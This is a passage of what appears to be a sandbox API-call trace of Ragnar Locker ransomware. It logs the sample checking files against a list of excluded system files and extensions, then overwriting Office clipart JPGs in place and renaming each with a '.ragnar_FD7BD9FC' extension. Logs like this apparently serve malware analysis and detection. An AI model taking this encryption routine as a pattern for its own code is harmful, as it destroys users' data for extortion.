[0088.260] lstrcmpiW (lpString1="J0387591.JPG", lpString2="bootmgr.efi") returned 1 [0088.260] lstrcmpiW (lpString1="J0387591.JPG", lpString2="bootmgfw.efi") returned 1 [0088.260] lstrcmpiW (lpString1="J0387591.JPG", lpString2="desktop.ini") returned 1 [0088.260] lstrcmpiW (lpString1="J0387591.JPG", lpString2="iconcache.db") returned 1 [0088.260] lstrcmpiW (lpString1="J0387591.JPG", lpString2="ntldr") returned -1 [0088.260] lstrcmpiW (lpString1="J0387591.JPG", lpString2="ntuser.dat") returned -1 [0088.260] lstrcmpiW (lpString1="J0387591.JPG", lpString2="ntuser.dat.log") returned -1 [0088.260] lstrcmpiW (lpString1="J0387591.JPG", lpString2="ntuser.ini") returned -1 [0088.260] lstrcmpiW (lpString1="J0387591.JPG", lpString2="thumbs.db") returned -1 [0088.260] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.260] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.260] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.260] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0088.260] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.260] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.260] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.260] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg")) returned 0x20 [0088.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.261] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=39111) returned 1 [0088.261] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x98be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.261] GetProcessHeap () returned 0x580000 [0088.261] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.261] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.263] VirtualAlloc (lpAddress=0x0, dwSize=0x98c7, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.263] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.263] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.263] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x98c7, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x98c7, lpOverlapped=0x0) returned 1 [0088.264] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.265] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x98c7, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.265] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x98c7, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x98c7, lpOverlapped=0x0) returned 1 [0088.265] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x98c7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.265] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.265] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x98c7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.265] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.265] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.266] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.266] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.266] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.266] GetProcessHeap () returned 0x580000 [0088.266] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.266] CloseHandle (hObject=0xf4) returned 1 [0088.266] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG" [0088.266] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG.ragnar_FD7BD9FC" [0088.266] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.267] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb9bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0387604.JPG", cAlternateFileName="")) returned 1 [0088.267] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.267] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0387604.JPG" | out: lpString1="J0387604.JPG") returned="J0387604.JPG" [0088.267] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG") returned=".JPG" [0088.267] lstrcmpiW (lpString1="J0387604.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.267] lstrcmpiW (lpString1="J0387604.JPG", lpString2="autorun.inf") returned 1 [0088.267] lstrcmpiW (lpString1="J0387604.JPG", lpString2="boot.ini") returned 1 [0088.267] lstrcmpiW (lpString1="J0387604.JPG", lpString2="bootfont.bin") returned 1 [0088.267] lstrcmpiW (lpString1="J0387604.JPG", lpString2="bootsect.bak") returned 1 [0088.267] lstrcmpiW (lpString1="J0387604.JPG", lpString2="bootmgr") returned 1 [0088.267] lstrcmpiW (lpString1="J0387604.JPG", lpString2="bootmgr.efi") returned 1 [0088.267] lstrcmpiW (lpString1="J0387604.JPG", lpString2="bootmgfw.efi") returned 1 [0088.267] lstrcmpiW (lpString1="J0387604.JPG", lpString2="desktop.ini") returned 1 [0088.267] lstrcmpiW (lpString1="J0387604.JPG", lpString2="iconcache.db") returned 1 [0088.267] lstrcmpiW (lpString1="J0387604.JPG", lpString2="ntldr") returned -1 [0088.267] lstrcmpiW (lpString1="J0387604.JPG", lpString2="ntuser.dat") returned -1 [0088.267] lstrcmpiW (lpString1="J0387604.JPG", lpString2="ntuser.dat.log") returned -1 [0088.267] lstrcmpiW (lpString1="J0387604.JPG", lpString2="ntuser.ini") returned -1 [0088.267] lstrcmpiW (lpString1="J0387604.JPG", lpString2="thumbs.db") returned -1 [0088.267] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.267] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.267] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.267] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0088.267] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.267] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.267] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.267] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg")) returned 0x20 [0088.267] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.268] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=47551) returned 1 [0088.268] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb9b6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.268] GetProcessHeap () returned 0x580000 [0088.268] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.268] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.269] VirtualAlloc (lpAddress=0x0, dwSize=0xb9bf, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.269] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.269] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.269] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb9bf, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb9bf, lpOverlapped=0x0) returned 1 [0088.271] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.271] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb9bf, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.271] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb9bf, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb9bf, lpOverlapped=0x0) returned 1 [0088.271] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb9bf, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.271] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.272] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb9bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.272] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.272] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.272] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.272] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.272] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.272] GetProcessHeap () returned 0x580000 [0088.272] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.272] CloseHandle (hObject=0xf4) returned 1 [0088.272] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG" [0088.272] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG.ragnar_FD7BD9FC" [0088.272] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.275] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x98ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0387882.JPG", cAlternateFileName="")) returned 1 [0088.275] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.275] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0387882.JPG" | out: lpString1="J0387882.JPG") returned="J0387882.JPG" [0088.275] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG") returned=".JPG" [0088.275] lstrcmpiW (lpString1="J0387882.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.275] lstrcmpiW (lpString1="J0387882.JPG", lpString2="autorun.inf") returned 1 [0088.275] lstrcmpiW (lpString1="J0387882.JPG", lpString2="boot.ini") returned 1 [0088.275] lstrcmpiW (lpString1="J0387882.JPG", lpString2="bootfont.bin") returned 1 [0088.275] lstrcmpiW (lpString1="J0387882.JPG", lpString2="bootsect.bak") returned 1 [0088.275] lstrcmpiW (lpString1="J0387882.JPG", lpString2="bootmgr") returned 1 [0088.275] lstrcmpiW (lpString1="J0387882.JPG", lpString2="bootmgr.efi") returned 1 [0088.275] lstrcmpiW (lpString1="J0387882.JPG", lpString2="bootmgfw.efi") returned 1 [0088.275] lstrcmpiW (lpString1="J0387882.JPG", lpString2="desktop.ini") returned 1 [0088.275] lstrcmpiW (lpString1="J0387882.JPG", lpString2="iconcache.db") returned 1 [0088.275] lstrcmpiW (lpString1="J0387882.JPG", lpString2="ntldr") returned -1 [0088.275] lstrcmpiW (lpString1="J0387882.JPG", lpString2="ntuser.dat") returned -1 [0088.275] lstrcmpiW (lpString1="J0387882.JPG", lpString2="ntuser.dat.log") returned -1 [0088.275] lstrcmpiW (lpString1="J0387882.JPG", lpString2="ntuser.ini") returned -1 [0088.275] lstrcmpiW (lpString1="J0387882.JPG", lpString2="thumbs.db") returned -1 [0088.276] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.276] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.276] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.276] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0088.276] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.276] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.276] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg")) returned 0x20 [0088.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.276] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=39148) returned 1 [0088.276] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x98e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.276] GetProcessHeap () returned 0x580000 [0088.276] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.276] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.278] VirtualAlloc (lpAddress=0x0, dwSize=0x98ec, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.278] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.278] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.278] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x98ec, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x98ec, lpOverlapped=0x0) returned 1 [0088.279] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.280] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x98ec, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.280] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x98ec, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x98ec, lpOverlapped=0x0) returned 1 [0088.280] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x98ec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.280] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.280] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x98ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.280] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.280] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.281] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.281] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.281] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.281] GetProcessHeap () returned 0x580000 [0088.281] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.281] CloseHandle (hObject=0xf4) returned 1 [0088.281] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG" [0088.281] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG.ragnar_FD7BD9FC" [0088.281] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387882.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387882.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.282] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7df3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0387895.JPG", cAlternateFileName="")) returned 1 [0088.282] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.282] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0387895.JPG" | out: lpString1="J0387895.JPG") returned="J0387895.JPG" [0088.282] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387895.JPG") returned=".JPG" [0088.282] lstrcmpiW (lpString1="J0387895.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.282] lstrcmpiW (lpString1="J0387895.JPG", lpString2="autorun.inf") returned 1 [0088.282] lstrcmpiW (lpString1="J0387895.JPG", lpString2="boot.ini") returned 1 [0088.282] lstrcmpiW (lpString1="J0387895.JPG", lpString2="bootfont.bin") returned 1 [0088.282] lstrcmpiW (lpString1="J0387895.JPG", lpString2="bootsect.bak") returned 1 [0088.282] lstrcmpiW (lpString1="J0387895.JPG", lpString2="bootmgr") returned 1 [0088.282] lstrcmpiW (lpString1="J0387895.JPG", lpString2="bootmgr.efi") returned 1 [0088.282] lstrcmpiW (lpString1="J0387895.JPG", lpString2="bootmgfw.efi") returned 1 [0088.282] lstrcmpiW (lpString1="J0387895.JPG", lpString2="desktop.ini") returned 1 [0088.282] lstrcmpiW (lpString1="J0387895.JPG", lpString2="iconcache.db") returned 1 [0088.282] lstrcmpiW (lpString1="J0387895.JPG", lpString2="ntldr") returned -1 [0088.282] lstrcmpiW (lpString1="J0387895.JPG", lpString2="ntuser.dat") returned -1 [0088.282] lstrcmpiW (lpString1="J0387895.JPG", lpString2="ntuser.dat.log") returned -1 [0088.282] lstrcmpiW (lpString1="J0387895.JPG", lpString2="ntuser.ini") returned -1 [0088.282] lstrcmpiW (lpString1="J0387895.JPG", lpString2="thumbs.db") returned -1 [0088.282] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.282] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.282] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.282] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned 